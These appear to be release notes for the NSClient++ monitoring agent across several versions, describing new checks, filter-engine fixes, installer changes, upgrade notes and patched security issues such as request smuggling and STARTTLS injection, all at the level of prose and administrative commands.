  • ๐Ÿ“… New: run_schedules. Run the configured schedules now instead of waiting out their interval, and submit the results on their normal channel โ€” nscp client --boot --query run_schedules, optionally --argument schedule=<alias>. Works over NRPE, REST and nscp test too. (#1450, #1452)
  • ๐Ÿ’ฅ check_nscp is a filter check, and its crash count works. It has read 0 crashes since 0.4.2 (it matched the extension txt against .txt), and since 0.6.10 there were no .txt reports to find. It now recognises .crash, reads the configured archive folder again, and exposes crashes, errors, uptime, crash_age, last_crash, last_error, version and date as filter keywords. (#1451)
  • ๐Ÿ›ก๏ธ Four security reviews โ€” SMTP, NRPE, NRDP/NSCA and WEB โ€” closed a set of defense-in-depth gaps: STARTTLS response injection, an unvalidated EHLO name, certificate verification that could not work on Windows, a metachar guard that ran before decoding, secrets in the trace log, and session tokens from a non-cryptographic generator.
  • ๐Ÿ” The bundled OpenSSL moves from 3.5.4 to 3.5.8 in the Windows builds, picking up four upstream security releases โ€” most relevantly CVE-2025-11187, a stack overflow parsing a hostile PKCS#12 file, reachable through check_certificate. (#1445)
  • ๐ŸชŸ The MSI can install your own TLS certificates. CERTIFICATE, CERTIFICATE_KEY and CERTIFICATE_CA place your files where every server module reads them, so the self-signed fallback is never generated. (#568)
  • โฑ๏ธ Real-time filters can prime their destination at startup. A new run on startup key submits the filter’s empty message once when the agent starts, so check_cache stops answering “Entry not found” after a restart. (#584)
  • ๐Ÿ“ก New ${address_ipv4} / ${address_ipv6*} hostname placeholders for every passive client, so a host can report itself by address instead of name. (#349)

๐Ÿ” Detailed changes

๐Ÿ“ค CheckHelpers โ€” check_and_forward delivers, and takes arguments properly

The command handed the raw QueryResponseMessage to the submission path, but channels parse a SubmitRequestMessage and the two are not wire compatible โ€” the payload sits in a different field, and field 2 of a submit message is the channel string. The channel received a message with zero payloads and cheerfully reported success. It now converts the query result into a submission first and checks the reply.

Option Meaning
channel Where to submit (default NSCA); target remains a synonym
alias Service description; defaults to the wrapped command’s name
destination Destination host for the submission
source Source host for the submission

target previously defaulted to the empty string, for which no handler exists, so even a correctly built message had nowhere to go.

๐Ÿ“… Scheduler โ€” run_schedules

run_schedules executes the schedules under [/settings/scheduler/schedules] immediately and submits each result on its own channel, target, source and alias with the same report filter, so the monitoring server cannot tell it from a timed run. The timers are untouched.

nscp client --boot --query run_schedules
nscp client --boot --query run_schedules --argument schedule=cpu

schedule= is repeatable and defaults to every schedule; an unknown alias is an error that names the ones you have. A schedule whose command is run_schedules is refused, and a reentrancy guard catches the indirect case (via check_timeout, for instance) โ€” previously that recursed until the agent died.

The caller’s identity is forwarded to the checks it runs, so REST and NRPE permissions apply to them; the scheduler’s own timed runs stay attributed to Scheduler.

๐Ÿ’ฅ CheckNSCP โ€” check_nscp rewritten as a filter check

Three independent bugs kept the crash count at zero: the extension comparison (txt vs the .txt the helper returns) has been false since 0.4.2; 0.6.10 replaced breakpad’s <guid>.dmp + .dmp.txt pair with a single <timestamp>.crash file, so even a fixed match found nothing; and 0.4.3 stopped reading [/settings/crash] archive folder, hardcoding the compile-time default. last_crash was never populated either โ€” the newest-file watermark started at the current time.

New filter keywords: crashes, errors, uptime, crash_age, last_crash, last_error, version, date. Thresholds accept duration units (crit=uptime < 5m, crit=crash_age < 7d), and a new max-unit option (default w) caps the largest unit rendered. Crash reports are a Windows concept; on Linux crashes is always 0.

โš™๏ธ Core โ€” reloads, channel verdicts and denied checks

  • A reload re-reads the included files before deciding which modules should run, so a module enabled in one since the last load is picked up. Only the includes are refreshed: clearing the whole store would discard configuration held in memory, which is exactly how nscp unit and nscp client set themselves up. One unreadable include no longer aborts the whole reload. (#1455)
  • Every channel’s verdict is reported for a channel list. All handlers were handed the same response buffer, so with channel=NSCA,GRAPHITE a failing NSCA was masked by a succeeding GRAPHITE.
  • A denied check is no longer submitted. The permission layer answers a denied query as a successful query carrying an UNKNOWN “Permission denied” payload; run_schedules and check_and_forward forwarded it, overwriting the last real result on the server while reporting success to the caller.
  • nscp client --query <cmd> no longer appends No module was specifiedโ€ฆ to every result.

๐Ÿ›ก๏ธ Security reviews

๐Ÿ”’ SMTPClient. Data pipelined across the STARTTLS handshake is refused (RFC 3207 ยง4) โ€” a prepared run of 2xx replies could otherwise walk the client through MAIL/RCPT/DATA and have it report an alert delivered while nothing was sent. The EHLO name is validated before connect, closing command injection on a relayed submission. Certificates are verified against a CA bundle through a new ca target setting and --ca argument (default ${ca-path}): the client previously used OpenSSL’s default verify paths only, which on Windows excludes the certificate store, so security=starttls failed against Gmail and M365 and operators simply turned verification off. EHLO capabilities are matched per reply line rather than by substring โ€” a greeting naming host starttls.example.com used to satisfy the STARTTLS lookup.

๐Ÿ”’ NRPE. The allow nasty characters = false guard now also runs on the decoded command and arguments; with a non-UTF-8 encoding, a multi-byte sequence could decode into a metacharacter that was never literally on the wire. A new expose version server setting (default true) lets the unauthenticated _NRPE_CHECK reply stop naming the exact build. nscp nrpe install reads the stored verify mode again instead of silently resetting it on every re-run.

๐Ÿ”’ NRDP / NSCA. A malformed <status></status> response no longer null-derefs the agent. The NRDP token and any proxy-URL credentials are redacted from the trace log โ€” including from the Target configuration: dump, which printed the raw settings map and defeated the redaction elsewhere (NSCA’s password leaked the same way). An https:// submission made through nscp client or REST with no verify mode now defaults to peer rather than trusting any certificate.

๐Ÿ”’ WEBServer. Session tokens and generated admin passwords come from OpenSSL’s CSPRNG with unbiased rejection sampling, and the server now fails closed if that RNG fails (HTTP 500 and a SECURITY: log line) rather than falling back to a weaker generator. Cookie lookups require a name boundary, so eviltoken no longer satisfies a lookup for token. Session validity and identity are read in one locked observation, closing an expiry race that could drop a request onto the anonymous grant. The web installer refuses an HTTPSโ†’HTTP redirect on the bundle download path.

๐Ÿ”’ OpenSSL 3.5.8. Windows builds only; Linux packages link the distribution’s OpenSSL. See Security notices.

๐Ÿ“ก Clients โ€” --source-host names the sender

--source-host / --sender-host were registered against the destination container, where the well-known host key is routed into the typed address field โ€” so naming a source host silently redirected the connection to it, and the sender the handler reads was never set. SMTPClient and NRDPClient had each worked around this with their own copies, which made the option ambiguous and therefore unusable on exactly the two modules most likely to need it.

๐Ÿ”ง Settings

  • settings --update --add-defaults --use-samples writes the sample objects; the flag was parsed and never read. --remove-defaults now enumerates samples too, making the two exact inverses. (#233)
  • A [/includes] entry naming a directory no longer breaks saving. The directory path reached the INI writer, and the resulting “Is a directory” error aborted the save โ€” so nscp settings --set and the web UI failed and the main file was never written. (#636)
  • New ${address_ipv4} and ${address_ipv6*} placeholders resolve in the hostname setting of NSCA, NSCANg, NRDP, Graphite, Syslog, Op5, Icinga, Elastic and Collectd clients. The address is the source address of the default route, falling back to the first non-loopback address the host name resolves to. (#349)

โฑ๏ธ Real-time filters โ€” run on startup

A new boolean filter key on the shared filter object, so it applies to CheckLogFile, CheckEventLog and the CheckSystem/CheckSystemUnix real-time filters. When true the filter submits its empty message with OK status once at startup, priming the destination. It is registered without a default on purpose: an absent key keeps the inherited value, while an explicit false overrides an inherited true. Delivery is retried across shortened waits while later modules (such as SimpleCache) are still loading. (#584)

๐ŸชŸ Windows installer โ€” install your own TLS certificates

Three new silent-install properties place your own files under the default names every server module reads, so the self-signed fallback is never generated:

Property Installed as
CERTIFICATE certificate.pem
CERTIFICATE_KEY certificate_key.pem
CERTIFICATE_CA ca.pem

The install fails if a named file is missing or is not PEM, or if a certificate is given with no key anywhere. CERTIFICATE_KEY also writes certificate key = โ€ฆ for the NRPE and WEB servers, so it is incompatible with ALLOW_CONFIGURATION=0; other servers need the setting added by hand. (#568)

๐Ÿ› Bug fixes

  • SMTP: the timeout error now says what happened in the client’s own words (timed out after 30s (the budget for the whole submission)) rather than reporting a platform error that blamed the connected party; a failed connect raises the exception callers actually catch; insecure-skip-verify is accepted over REST and no longer resets a configured target’s value on every submission; the reference no longer shows its default as N/A.
  • NRPE: the arguments-case rejection says “arguments” instead of “command”.
  • check_nscp: a crash report whose timestamp cannot be read still counts but takes no part in newest-wins, so crash_age no longer reports ~56 years.
  • Configuring with -DNSCP_BUILD_TESTS=OFF no longer aborts on the mongoose_wrapper_test target.

โš ๏ธ Upgrade notes

  • check_and_forward starts delivering, and no longer takes positional arguments. Anything that treated Message submitted as success will now see real channel failures. check_and_forward command=check_cpu warn=load>80 now fails to parse โ€” pass one arguments= per wrapped argument instead: check_and_forward command=check_cpu "arguments=warn=load>80". The positional form had to go because its parser also swallowed the CLI’s own --argument key=value tokens, which is what fed the wrapped command garbage.
  • check_nscp may start reporting CRITICAL. Its crash count works now, so an agent with an old report still in the archive folder will report a crash where it read 0. Threshold on crash_age ("crit=crash_age < 7d") if you only care about recent crashes, or clean the folder out. The message also loses its last crash: / last error: fragments โ€” put them back with an explicit detail-syntax if you match on the text.
  • A denied check now fails instead of submitting. If you restrict what a REST or NRPE identity may run, expect an error where a stale UNKNOWN previously appeared on the monitoring server.
  • NRDP over HTTPS verifies by default on the nscp client / REST path. Pass --verify none (or point --ca at the certificate) to keep submitting to a self-signed endpoint that way. Configured targets already defaulted to peer. ๐Ÿ”’
  • SMTP verifies the server certificate, against ${ca-path} by default. A target that relied on verification being effectively off needs ca pointed at the right bundle, ca = none for OpenSSL’s defaults, or insecure-skip-verify = true. ๐Ÿ”’
  • The SMTP timeout is now a budget for the whole submission, not a fresh deadline per operation โ€” a target that only completed by consuming several multiples of it will now give up.
  • --source-host no longer redirects the connection. If you used it to choose where to connect, use --host / --address.
  • settings --add-defaults --use-samples now writes samples. Drop the flag if you were relying on today’s sample-free output; --remove-defaults strips them again.
  • nscp client --query output loses its trailing No module was specifiedโ€ฆ line. Scripts that stripped it can stop.
  • Settings writes work again when [/includes] names a directory. If you removed a directory include to get saving working, you can put it back.
  • WEBServer: a script or module name beginning with - is rejected (rename it; interior dashes are fine), and POST /auth/logout now enforces allowed hosts. ๐Ÿ”’
  • NRPE: allow nasty characters = false now also inspects decoded input, so a request the guard was always meant to block may now be rejected. Set expose version = false to stop the _NRPE_CHECK ping naming your build. ๐Ÿ”’

Download

You can download the new version from GitHub

// Michael Medin

0.17.0 Windows server roles get their own checks, and check messages finally read like numbers

0.17.0 adds twelve new checks โ€” eight for IIS and Remote Desktop Services on Windows, four for the status pages of the common web servers โ€” and gives every filter check control over how it renders numbers, so 140.293GB/0.983TB can become 141.09GB/1006.85GB (or 141,09GB/1.006,85GB). Alongside that, the filter engine stops quietly doing the wrong thing: text-versus-number comparisons are numeric, fractional thresholds mean what they say, and an error inside a syntax template is reported instead of rendering a blank.

Highlights

  • Eight new Windows checks for IIS and Remote Desktop Services. The new CheckWindowsApps module covers IIS sites, application pools, worker processes and HTTP.sys request queues, plus RDS CAL licensing, session counts, per-session load and the Connection Broker counterset.
  • Four new web-server status checks. check_apache_status, check_nginx_status, check_phpfpm_status and check_tomcat_status read the vendors’ machine-readable status endpoints over HTTP(S), sharing check_http’s auth and TLS handling.
  • Check messages can be told how to render their numbers. Four new options โ€” decimals, byte-unit, decimal-separator, thousands-separator โ€” on every filter check and every real-time filter (#1428). Perfdata and thresholds are untouched.
  • Filter comparisons between text and a bare number are now numeric. filter=value > 90 no longer matches value=100 as false because “100” sorts before “90”, and 90 > value evaluates at all.
  • Fractional thresholds stop being truncated. count > 2.5 meant count > 3 and working_set > 1.5g meant 1g; both now mean what they say.
  • Host name placeholders resolve across the whole settings subsystem โ€” including attachment targets and [/includes] (#458) โ€” and are sanitized before they land in a local path ๐Ÿ”’.
  • Syslog submission works again after ten years. SyslogClient read its connection settings from the wrong place and sent nothing at all; a configured syslog target will start receiving traffic on upgrade.
  • Check-specific filter keywords that shadowed the generic summary keywords are renamed, with the old names kept as deprecated aliases.

Detailed changes

CheckWindowsApps โ€” a new module for Windows server roles

A new Windows-only module carrying IIS and Remote Desktop Services checks, built on the performance counter sets and enriched from WMI where the role’s provider is installed. The two roles share one module deliberately: every check module statically links Boost and the filter engine, so a role earns its own DLL only when it drags in a heavy or optional dependency (the way CheckMySQL carries libmariadb.dll).

Command Reports
check_iis_app_pools Per-pool state, uptime and recycles. CRITICAL by default when an auto-start pool is not running; a pool that has never started since boot surfaces as unknown rather than hiding.
check_iis_sites Per-site state, connections and uptime, plus requests_per_sec / bytes_per_sec behind averages=true. CRITICAL by default when an auto-start site is stopped.
check_iis_worker_processes Per-w3wp active and served requests, with the <pid>_<pool> instance name split into keywords. An empty set is OK โ€” idle pools spin their workers down.
check_iis_request_queues Per-queue length, rejections and age, defaulting to HTTP.sys’ 1000-request limit (warn > 800, critical > 1000).
check_rds_licenses One record per CAL key pack from Win32_TSLicenseKeyPack: total, issued and available licences. Warns at available < 10 and total > 0, critical at available = 0 and total > 0.
check_rds_sessions Active, inactive and total session counts, all three as perfdata. No default thresholds โ€” the interesting limits are per-farm.
check_rds_session_load One record per session (Console, Services, RDP-Tcp <n>) with CPU, working set and, on session hosts, RDP protocol bytes โ€” the per-user attribution check_process cannot give. sessions-only=true skips the session-0 aggregate.
check_rds_broker The Connection Broker counterset. Counter names vary between Windows Server versions, so the check enumerates whatever the counterset exposes and reports one record per counter instead of hard-coding names.

A host without the role gets a clean UNKNOWN naming the missing role, not a WMI or PDH error dump. The counter plumbing landed as a reusable gather helper that collects a set of English counter names for every instance of an object in one query, keeping the existing localized/English/index resolution fallback โ€” it was verified against live Swedish-localized counters.

CheckNet โ€” status-page checks for the common web servers

Command Endpoint Keywords
check_apache_status mod_status (?auto appended automatically) workers, requests/s, scoreboard
check_nginx_status stub_status active/reading/writing/waiting, cumulative accepts/handled/requests, derived dropped count
check_phpfpm_status FPM status page processes, listen queue, max_children_reached, slow requests; warns by default when requests queue up
check_tomcat_status manager status?XML=true (appended automatically) per-connector thread pool, request/error counters, JVM heap; defaults fire at 75%/90% pool usage

All four share check_http’s connection handling โ€” Basic auth, TLS version / verify / CA, timeout โ€” and go CRITICAL by default when the endpoint is unreachable, answers non-2xx, or serves something that is not the expected status format. Numeric parsing pins the classic locale, so a host with a decimal comma no longer truncates ReqPerSec at the decimal point.

Filter messages โ€” configurable number rendering

check_drivesize reported 140.293GB/0.983TB used: two units and six decimals in one line, with no way to change either (#1428). Every filter check now takes four options, and real-time filters take the same values as settings keys (decimals, byte unit, decimal separator, thousands separator), inheritable from the default template.

Option Effect
decimals Exactly N decimals. Default -1 keeps the historical “up to three, trailing zeros stripped”. Capped at 15.
byte-unit Pin every byte value to one unit, Bโ€ฆEB.
decimal-separator Radix character โ€” , for the European rendering.
thousands-separator Digit grouping for the integer part.
check_drivesize drive=/ show-all=true decimals=2 byte-unit=GB
OK /: 141.09GB/1006.85GB used

check_drivesize drive=/ show-all=true decimals=2 byte-unit=GB \
  decimal-separator=, thousands-separator=.
OK /: 141,09GB/1.006,85GB used

The format lives on the evaluation context, so it reaches the message only: performance data is built from the raw values and keeps its full precision and its . radix, and so does every number the filter grammar parses out of a threshold โ€” warning=used>1.5g means the same thing with a decimal comma in force.

Three defects in the byte formatter came out of this work:

  • format_bytes(used, 'gb') rendered 1.27055e-10, because the unit comparison was case sensitive against an uppercase table. Units are now case insensitive everywhere.
  • A unit that matched nothing fell out of the comparison having divided seven times, rendering value/1024^7. An unknown unit is now reported โ€” Filter processing failed: format_bytes failed: Unknown byte unit: ZB โ€” and the same check applies inside real-time filters.
  • format_bytes(value, '') failed to parse at all; the empty string literal is now accepted.

The filter/where engine โ€” comparisons that mean what they say

  • Text keyword versus bare number is numeric. A string-typed keyword compared against an unquoted number used to order lexically, or โ€” with the operands reversed โ€” fail to evaluate. Both sides now compare as numbers. This covers value/warn/crit/min/max (filter_perf, render_perf), speed (check_network), string_value (check_registry_value) and column() (check_logfile). A value that is not a number never matches; the check logs one warning naming it and stays a certain non-match, not UNKNOWN. Quoted literals keep the lexical comparison, as do like, regexp, in, keyword-specific converters (state = 'running', age > 30m) and the = 'unknown' / = 'never' sentinels.
  • Fractional numbers survive. count > 2.5 used to be rounded into the counter’s integer domain, and unit literals lost their fraction entirely (working_set > 1.5g meant 1g, uptime < 2.5h meant 2h).
  • filter_perf/render_perf/xform_perf: max and min were swapped. max read the perf-data minimum bound and min the maximum; they now read the bounds they name.
  • Template errors are reported. A function that failed inside detail-syntax or top-syntax left the placeholder empty and said nothing; the check now returns UNKNOWN with Filter processing failed: โ€ฆ.
  • perf-config’s unit: converts instead of relabelling. On byte series that do not auto-scale, unit:KB used to change the label only, shipping =1536KB for 1536 bytes. The value and the warn/crit bounds now convert. An unrecognised unit leaves the value alone rather than dividing it by 1024โท.

Filter keywords โ€” the clash with the generic summary keywords is resolved

A handful of checks registered a keyword named status, count or total โ€” the same names as the built-in summary keywords. The check-specific value won in filter/warning/critical and detail-syntax, while top-syntax and the reference documentation showed the generic one. Each now has a distinct name:

Check Old New
check_cpu, check_cpu_utilization total usage
check_battery status battery_status
check_network status, total link_status, throughput
check_os_updates count updates
check_patch_age count patches
check_pending_reboot count signals
check_printjobs status job_status
check_printqueue status printer_status
check_installed_software (Linux) status package_status
check_activation status activation_status
check_docker status container_status
check_connections count, total connections, total_connections
check_dns count records
check_http status status_message
check_shadowcopy count copies
check_disk_health total size

The old names remain as undocumented deprecated aliases with unchanged behaviour, so check_cpu "warn=total > 80" still works.

Settings โ€” host name placeholders, and where they may land

${host}, ${hostname}, ${hostname_lc}, ${hostname_uc} and ${domain} now resolve in attachment target paths and in [/includes], not only in settings urls and the url an attachment is fetched from (#458). An unknown ${...} token in a path is not an error โ€” it resolves to the installation directory โ€” so a configuration like [/attachments] ${shared-path}/${host}.ini = โ€ฆ never failed, it quietly wrote one file with the installation directory in its name.

๐Ÿ”’ Because the host name is not fully under the operator’s control (DHCP, or any local privileged process can set it), a value substituted into a path is reduced to the characters a legal RFC-952 host name can contain: anything else becomes _, and a dots-only value becomes _. Settings urls and the submit clients’ host name specs are unaffected. See Security notices.

nscp settings --migrate-to (and the REST migrate) now keeps a placeholder you pass it as-is in boot.ini while migrating into the expanded per-host file, the way --switch already did, so the template survives on a fleet-managed machine.

Clients โ€” submission paths that were quietly dead

  • Syslog. SyslogClient read its connection settings from the sender rather than the target, so address, port, facility, severity and templates were all ignored: the agent logged Undefined facility: and sent nothing. Broken since 0.4.3 (2015). CheckMKClient had the same defect on its query path.
  • SMTP. The sender’s host name was read from the wrong place, so it was always empty and the EHLO fell back to localhost. Set ehlo-hostname on the target if your mail server applies HELO/EHLO policy.
  • Short command names. A client command shorter than eight characters โ€” cpu, run โ€” answered Exception processing command line: basic_string::substr โ€ฆ instead of running, in every module built on the shared client machinery (NRPE, NSCA, NRDP, Graphite, โ€ฆ).

CheckSystem โ€” check_pending_reboot says since when

The CBS and Windows Update reboot keys exist only while their reboot is queued, so their last-write time is when the signal appeared. Two new keywords follow check_registry’s naming: written (type_date, plus written_s) and age, duration-typed so warning=pending = 1 and age > 7d reads as seven days. The default message gains (pending since <time>) when the time is known (#1415). The file-rename, computer-rename and domain-join signals carry no timestamp, so both keywords are optional: they render as unknown, compare false against every number and emit no perfdata rather than reporting a misleading value.

Data collection โ€” one bad field no longer sinks the cycle

  • WMI. Win32_Processor.LoadPercentage is occasionally NULL, and row::get_int had no case for it: the type-mismatch exception escaped half-way through the row and the collector threw away the entire cycle’s clock speeds and core counts (#1391). Optional fields can now opt into boost::none, mandatory ones fail with a clear <col> is NULL instead of localized COM text, and check_cpu_frequency renders a missing sample as no load sample rather than a fabricated 0.
  • PDH. MaxQueueItemAge on an idle, freshly started queue returns PDH_CALC_NEGATIVE_DENOMINATOR, which failed a whole gather even when the caller passed ignore_errors โ€” making check_iis_request_queues misreport the object as missing. With ignore_errors the counter is now skipped for that tick (#642, #906); the background collector and every single-counter check still throw, so they hear about an uncomputable counter instead of silently reading a default.

Windows installer and file layout

A round of fixes to the modern (ProgramData) layout introduced in 0.16.2: upgrading an enrolled host resolves every path token instead of failing; ReadLayout gets the install folder before directories resolve; CURRENT_LAYOUT is set through the public property setter; an upgrade of a modern host no longer re-creates nsclient.ini in Program Files; a %ProgramData% that cannot be resolved fails outright instead of half-applying the layout; migrated files get the destination’s ACL rather than the one they came with; resetting a renamed tree to inherited strips the explicit ACEs; and --migrate-layout legacy migrates to legacy instead of silently to modern.

Bug fixes

  • nscp settings --show --path โ€ฆ without a --key used to print nothing and exit 0; it now reports Invalid command line please use --path and --key with show and exits non-zero.
  • The settings diff behind the REST diff endpoint kept listing an edit for the lifetime of the process after it had been written, reporting a modified entry whose old value equalled its new one.
  • Only the pending markers the backend confirms are dropped on save, and staged deletions are masked in has_key.
  • Boolean option defaults render as true/false in the generated reference instead of garbage.

Documentation

Options shared by every filter check (filter, warning, top-syntax, โ€ฆ) and the generic filter keywords are now single-sourced: they fold out of each command’s reference page into one shared page, so a command’s documentation shows only what is specific to it. Runtime-stubbed Windows-only checks are marked as Windows only.

Upgrade notes

  • Syslog starts delivering. If you have a syslog target configured, check it still points where you want before upgrading โ€” it has not been delivering, and it will now. The same applies to SMTP targets, which will start announcing this host in EHLO instead of localhost.
  • Host name placeholders in paths now resolve. Check any ${host}, ${hostname} or ${domain} under [/attachments] or [/includes] and remove workarounds โ€” such a file lands somewhere new after upgrade. ๐Ÿ”’ The value is sanitized when it lands in a local path. Configurations without a host name placeholder are unaffected.
  • Number rendering is opt-in, but it is all-or-nothing per check. Leave all four options unset and messages are byte-for-byte unchanged. Set any of them and plain float keywords move onto the number format too: with decimals unset they render with up to three decimals instead of the legacy 6-significant-digit form (2.71094 โ†’ 2.711), and large values stop rendering scientific. A pipeline that matches float text in the message may need its pattern relaxed.
  • An unknown unit in format_bytes() now returns UNKNOWN instead of a quietly wrong number. A syntax string with a typo’d unit will fail until the unit is fixed.
  • perf-config unit: on plain byte series changes the metric’s magnitude. A dashboard that compensated for the old mislabelling will see the metric drop by the unit ratio; a graph flat at a near-zero value because of a misspelled unit: will jump to its real magnitude.
  • Filter comparisons against a bare number are numeric. Review any filter that deliberately relied on text ordering โ€” quote the number to keep the old behaviour.
  • Fractional thresholds change meaning. Whole-number thresholds are unchanged; expressions that already used a decimal point can behave differently.
  • max and min in filter_perf/render_perf/xform_perf were swapped. A filter that compensated needs the two names exchanged back.
  • Renamed filter keywords keep working through deprecated aliases, but three default perfdata keys change because the default perf-config names the renamed keyword: check_cpu_utilization (Linux) cpu_total โ†’ cpu_usage, check_patch_age patch_count โ†’ patch_patches, check_pending_reboot reboot_count โ†’ reboot_signals. Pass your own perf-config=extra(...) with the old name to keep the old key. check_os_updates’ default output now reports the actual number of updates instead of the matched-row count.
  • check_pending_reboot’s default message gains a suffix โ€” Reboot required: Windows Update (pending since 2026-08-16 09:41:12). Notification pipelines matching the exact message text need their pattern relaxed.
  • nscp settings --show without --key now fails. Scripts relying on the silent success need the missing --key added.

Download

You can download the new version from GitHub

// Michael Medin

0.16.4 Security release: request-smuggling fixes in the bundled web server

0.16.4 upgrades the Cesanta Mongoose web server bundled in the Windows builds to 7.23, closing two critical HTTP request-smuggling vulnerabilities in its HTTP parser. If NSClient++’s web server is reachable through a reverse proxy or WAF, upgrade promptly.

Highlights

  • ๐Ÿ”’ Bundled Mongoose upgraded from 7.20 to 7.23. Fixes two critical (CVSS 9.1) HTTP request-smuggling vulnerabilities, CVE-2026-73256 and CVE-2026-73257, fixed upstream in Mongoose 7.22.
  • Windows builds only. The Windows WEBServer module (REST API and web UI) uses the Mongoose backend; the Linux DEB/RPM packages build on Boost.Beast and never contained the vulnerable code.
  • Exploitable behind an intermediary. Both flaws let an unauthenticated attacker smuggle requests past a reverse proxy, WAF or load balancer in front of NSClient++ โ€” bypassing proxy-level ACLs or injecting into other clients’ reused connections. Direct client โ†’ NSClient++ deployments have no front end to desynchronize, and NSClient++’s own authentication is still enforced per request either way.

Detailed changes

WEBServer โ€” bundled Mongoose upgraded to 7.23 (security)

Mongoose versions before 7.22 mis-parse HTTP message framing in two ways:

CVE Flaw
CVE-2026-73256 Broken HTTP/1.0 detection in http_cb() โ€” a request combining Transfer-Encoding: chunked with conflicting HTTP/1.0 framing is parsed with different message boundaries than an HTTP/1.0 reverse proxy sees.
CVE-2026-73257 Requests carrying both Content-Length and Transfer-Encoding: chunked are accepted instead of rejected, enabling CL.TE desynchronization against a Content-Length-preferring front end.

All build pipelines now pin Mongoose 7.23 (the latest release, which also carries further upstream TLS and TCP/IP hardening): the Windows CI workflows, the Linux docker scenario images that fall back to the Mongoose backend (minimal, no-openssl), and the developer build instructions. The full advisory record is on the Security notices page.

Upgrade notes

  • ๐Ÿ”’ Upgrade Windows installs, promptly if behind a reverse proxy/WAF: the request-smuggling CVEs only matter when an intermediary in front of NSClient++ frames the HTTP stream differently than the built-in web server. No configuration change is needed โ€” this is a drop-in upgrade.
  • Linux packages are unaffected (Boost.Beast web backend, no Mongoose), as are installs with the WEBServer module disabled.

Download

You can download the new version from GitHub

// Michael Medin

0.16.3 check_nt works with the real nagios-plugins client again

0.16.3 is a small bugfix release: it restores compatibility between the legacy check_nt server (NSClientServer) and the real nagios-plugins check_nt client โ€” broken since 0.12.2 โ€” and pins the fix with an integration suite that drives the genuine client against NSClient++ in CI. It also reorganises the reference documentation for readability.

Highlights

  • check_nt requests without a trailing newline are answered again. Buffer-cap hardening in 0.12.2 made the server wait for a newline terminator, but the real nagios-plugins check_nt sends <password>&<cmd>&<args> with no terminator โ€” so every one of its requests has hung until the client’s socket timeout (No data was received from host!) in every release since (#1421).
  • The fix is pinned by a real-client integration suite. CI now compiles check_nt from the official nagios-plugins 2.5 release and drives it against the server, covering the protocol commands, password enforcement and the allow command gating (#1421).
  • Securing check_nt is now documented. New guidance covers the password, allowed hosts and the allow setting that limits which commands the legacy endpoint will answer.
  • Reference docs reorganised. Queries are listed first and every command carries an OS column with platform logos, so it is clear at a glance what exists on Windows vs Linux.

Detailed changes

check_nt โ€” compatibility with the real nagios-plugins client restored

The buffer-cap hardening that shipped in 0.12.2 made the legacy check_nt server wait for a newline terminator before parsing a request. The real nagios-plugins check_nt sends its request with no terminator and waits for the reply, so every request from it has hung until the client’s own socket timeout in every release since. End-of-read is once again end-of-request, while both halves of the hardening are kept: the 4 KiB request cap, and the newline path (which consumes the terminator and leaves pipelined bytes intact) for line-oriented clients.

The behaviour is now pinned at two levels: unit tests on the request parser (no-terminator format, newline path, empty chunk, oversized-line cap), and an integration suite that compiles check_nt from the official nagios-plugins 2.5 tarball in a container and runs it against nscp test โ€” covering CLIENTVERSION, UPTIME, CPULOAD, MEMUSE, USEDDISKSPACE and PROCSTATE, wrong-password handling, and the allow command gating including its fail-closed behaviour (#1421).

Documentation

  • New guidance on securing the legacy check_nt (NSClientServer) endpoint: set a password, restrict allowed hosts, and use the allow setting to limit which commands it answers.
  • The reference docs put queries first and add an OS column with platform logos to every command.

Packaging

  • Automatic Chocolatey publishing on release is disabled while the package onboarding with chocolatey.org is being sorted out (#1422). The workflow can still be run manually; the MSI, DEB, RPM and ZIP packages are unaffected.

Upgrade notes

  • check_nt clients that never sent a trailing newline get answers again. If you scripted around the hang (client-side timeouts, retries, or switching clients), those workarounds are no longer needed. No configuration change is required; the default install is unaffected unless NSClientServer is enabled.
  • Chocolatey: NSClient++ is not yet available from chocolatey.org; use the MSI from the release page for Windows installs.

Download

You can download the new version from GitHub

// Michael Medin

0.16.2 A locked-down modern Windows layout, new security and system checks, and safer settings and roles

This release introduces an opt-in modern Windows file layout that separates and locks down the agent’s writable state, adds a batch of Windows security and system checks, and hardens two areas of the WEB/settings surface. Default installs are unaffected until you opt in to the new layout.

Highlights

  • Modern, locked-down Windows file layout (opt-in). Configuration, the fleet identity, and writable state can now live in a dedicated %ProgramData% folder that is restricted to SYSTEM and Administrators, instead of sitting under Program Files. Switch with nscp settings --migrate-layout modern (or the MSI LAYOUT property); the classic layout remains the default and is untouched.
  • Writable state and a fleet folder are first-class. A ${fleet-folder} token and dedicated writable-state directories keep fleet/enrollment material and mutable state out of the package/program directories, with local overrides now visible in diagnostics. On Linux packages the writable state directories are created and migrated automatically.
  • New CheckSecurity checks. check_activation (Windows licensing state), check_file_security (file owner / DACL hardening), and check_firewall_rules (assert on individual firewall rules).
  • New CheckSystem checks. check_w32time (Windows Time service health) and check_printjobs (per-job print detail), plus reporting the printer device behind each queue.
  • Sensitive settings values are redacted on read. The REST settings read endpoints and the nscp settings --list / --show CLI now return *** for keys registered sensitive, matching the diff endpoint. Reported by @yagust.
  • The legacy WEB permission is flagged and no longer seeded by default. It unlocks deprecated query-dispatch endpoints that can run any registered command; fresh installs no longer create the role and a SECURITY warning is logged for any role that grants it. Reported by @yagust.
  • A documented upgrade path. New Upgrading and Security notices docs pages collect per-version operator actions and security-relevant changes in one place (#1410).

Detailed changes

Modern Windows file layout

The agent can now run in a “modern” layout where its configuration, fleet identity, and writable state live in a dedicated, ACL-restricted %ProgramData% folder rather than under %ProgramFiles%. The layout is recorded in boot.ini and resolved through a single shared path-token table used by both the service and the bundled clients, so ${shared-path}, ${log-path}, ${fleet-folder} and friends resolve consistently everywhere.

Migration is available both from the CLI (nscp settings --migrate-layout modern, with --dry-run) and from the MSI (via a LAYOUT property). The migration is defensive: it refuses to move into a populated destination on the first switch, locks the destination down before writing any secret into it, moves across volumes rather than failing, and keeps shipped program content out of the redirected shared path.

Change Effect
--migrate-layout modern / legacy Move an existing install between layouts (dry-run supported).
MSI LAYOUT property Install/upgrade directly into a chosen layout.
${fleet-folder} token Addresses the fleet/enrollment folder in the active layout.
Locked-down shared folder Restricted to SYSTEM + Administrators; ownership taken, not just the DACL.

New and updated checks

  • CheckSecurity: check_activation, check_file_security (owner + DACL hardening), and check_firewall_rules (individual rules). Corrected three check_file_security verdict paths and kept expect= assertions visible through a firewall filter.
  • CheckSystem: check_w32time for the Windows Time service, check_printjobs for per-job print detail, and the printer device is now reported behind each queue. Duration keywords keep their -1 sentinel and last_sync_age is treated as a duration.
